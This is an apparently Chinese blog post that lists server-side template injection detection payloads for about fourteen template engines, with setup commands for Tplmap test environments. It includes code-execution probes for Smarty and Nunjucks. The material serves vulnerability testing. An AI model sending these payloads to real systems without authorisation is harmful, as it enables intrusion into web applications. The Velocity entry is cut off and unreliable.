• 服务端模版注入漏洞检测payload整理


    服务端模版注入漏洞产生的根源是将用户输入的数据被模版引擎解析渲染可能导致代码执行漏洞

    下表涵盖了java,php,python,javascript语言中可能使用到的模版引擎,如果网站存在服务端模版注入在能回显的情况下会将验证栏的数据当模版执行,利用引擎提供的功能进行了计算大部分执行结果都会变成1522756

    模版引擎
    语言
    验证
    代码执行
    盲检测
    Smarty(secured) php {1234*1234} x x
    Smarty(unsecured) php {1234*1234} {php}echo md5(0xaa);{/php}
    twig php {{“abcdefg”|upper}} x x
    Nunjucks javascript {{1234*1234}} {{range.constructor(“return+’abcdefghi’.toUpperCase()”)()}}
    doT javascript {{=1234*1234}}
    Jade javascript %0a=1234*1234%0a
    Marko javascript ${1234*1234}
    Mako python ${1234*1234}
    Jinja2 python {{1234*1234}}
    Tornado python {{1234*1234}}
    Slim ruby =”#{1234*1234}”
    ERB ruby <%=”#{1234*1234}”%>
    Freemarker java ${(1234*1234)?c}
    Velocity java
    #set({t}

    附录一

    升级ruby 查看ruby版本 ruby —version

    利用rvm Ruby版本管理器升级 查看支持升级的版本 rvm list known

    升级指定版本 rvm install 2.3

    rockup命令安装 gem install rock

    附录二

    安装gradle

    # mkdir /opt/gradle
    # cd /opt/gradle
    # wget https://services.gradle.org/distributions/gradle-3.5-bin.zip
    # unzip gradle-3.5-bin.zip
    # export PATH=$PATH:/opt/gradle/gradle-3.5/bin
    # gradle -v
    

    附录三

    安装java1.8 http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 下载 jdk-8u131-linux-x64.tar.gz

    export PATH=$PATH:/opt/java8/jdk1.8.0_131/bin

    其他环境搭建

    Tplmap 测试环境搭建

    php环境

    yum install wget php unzip

    php -S 0.0.0.0:15002 -t env_php_tests/

    nodejs环境

    yum install epel-release

    yum install nodejs

    cd /root/tplmap-master/tests/env_node_tests/lib; node connect-app.js;

    java环境

    下载相应的rpm包

    http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html

    rpm -ivh jdk-8u131-linux-x64.rpm

    mkdir /opt/gradle

    cd /opt/gradle

    wget https://services.gradle.org/distributions/gradle-3.5-bin.zip

    export PATH=$PATH:/opt/gradle/gradle-3.5/bin

    ruby环境

    利用yum 安装的ruby为2.0.0,不符号要求

    安装rvm

    gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3

    curl -sSL https://get.rvm.io | bash -s stable

    source /etc/profile.d/rvm.sh

    rvm reload

    rvm requirements run #检测并安装依赖

    rvm install 2.3.4 

    gem install cuba

    gem install tilt

    gem install slim

    cd env_ruby_tests/

    rackup -o 0.0.0.0 -p 15005

    python环境

    yum install epel-release

    yum install python-pip

    pip install mako jinja2 flask tornado

    python webserver.py

  • 相关阅读:
    转载文章----.NET 框架浅析
    转载文章----IL反编译利器——Ildasm.exe和Reflector.exe:
    转载文章----初识Ildasm.exe——IL反编译的实用工具
    北航物理实验
    计算机组成原理往年试题以及答案(tzf!!!)
    Java 往年试卷参考答案!!!
    算法导论期末考试英文练习题带答案!!!
    算法导论( FFT & 自动机 & 最优二叉搜索树 !!!)
    Java部分总结图片版2(已加上原图链接!!!)
    Java部分总结图片版(已经加上原图链接下载!!!)
  • 原文地址:https://www.cnblogs.com/icez/p/ssti_check_payload.html
Copyright © 2020-2023  润新知